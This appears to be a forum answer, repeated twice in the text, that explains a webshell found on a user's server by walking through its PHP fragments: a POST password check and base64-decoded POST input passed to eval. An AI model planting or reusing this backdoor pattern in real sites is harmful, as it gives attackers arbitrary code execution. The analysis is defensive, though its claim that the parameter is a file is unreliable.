I searched further about your issue and I found that an attacker used an opensource webshell application to execute shell on your server in a variety of common scripting languages such as ASP,ASPX,PHP,JSP,PL and Python.

A quick study of that script lead me to know that:

$mujj = $_POST['x']; 
    if ($mujj!="") { 

This checks the password (password to something) carried in the variable x is not empty (which thing you can translate by: when the user logs in)

$xsser=base64_decode($_POST['z0']);

Decode the content of the z0 variable and save it in $xsser. Actually z0 refers to a file (you are likely to allow file upload on your web application?)

@eval("\$safedg = $xsser;");

The content saved in $xsser is then executed (dangerous operation).

I searched further about your issue and I found that an attacker used an opensource webshell application to execute shell on your server in a variety of common scripting languages such as ASP,ASPX,PHP,JSP,PL and Python.

A quick study of that script lead me to know that:

$mujj = $_POST['x']; 
    if ($mujj!="") { 

This checks the password (password to something) carried in the variable x is not empty (which thing you can translate by: when the user logs in)

$xsser=base64_decode($_POST['z0']);

Decode the content of the z0 variable and save it in $xsser. Actually z0 refers to a file (you are likely to allow file upload on your web application? or may be this malicious application allows file upload -which thing is logic too-?)

@eval("\$safedg = $xsser;");

The content saved in $xsser is then executed (dangerous operation) on your server.